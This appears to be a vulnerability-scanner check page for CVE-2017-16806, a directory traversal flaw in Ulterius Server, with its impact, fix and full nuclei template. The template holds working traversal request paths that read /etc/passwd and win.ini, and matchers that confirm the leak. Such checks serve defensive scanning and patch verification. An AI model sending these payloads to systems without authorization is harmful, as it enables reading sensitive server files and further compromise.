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CVE-2017-16806· ulterius / ulterius server· CWE-22

Ulterius Server < 1.9.5.0 - Directory Traversal

highseverity
7.5CVSS score
90.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Ulterius Server before 1.9.5.0 allows HTTP server directory traversal via the process function in RemoteTaskServer/WebServer/HttpServer.cs.

Impact

An attacker can exploit this vulnerability to access sensitive files, potentially leading to unauthorized access, data leakage, or further compromise of the server.

Fix

Upgrade Ulterius Server to version 1.9.5.0 or later to mitigate the directory traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini ; GET {{BaseURL}}/.../.../.../.../.../.../.../.../.../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2017-16806 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-16806

info:
  name: Ulterius Server < 1.9.5.0 - Directory Traversal
  author: geeknik
  severity: high
  description: Ulterius Server before 1.9.5.0 allows HTTP server directory traversal via the process function in RemoteTaskServer/WebServer/HttpServer.cs.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files, potentially leading to unauthorized access, data leakage, or further compromise of the server.
  remediation: |
    Upgrade Ulterius Server to version 1.9.5.0 or later to mitigate the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/43141
    - https://nvd.nist.gov/vuln/detail/CVE-2017-16806
    - https://github.com/Ulterius/server/commit/770d1821de43cf1d0a93c79025995bdd812a76ee
    - https://www.exploit-db.com/exploits/43141/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-16806
    cwe-id: CWE-22
    epss-score: 0.90905
    epss-percentile: 0.99809
    cpe: cpe:2.3:a:ulterius:ulterius_server:1.5.6.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: ulterius
    product: ulterius_server
  tags: cve2017,cve,ulterius,traversal,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini"
      - "{{BaseURL}}/.../.../.../.../.../.../.../.../.../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200

References

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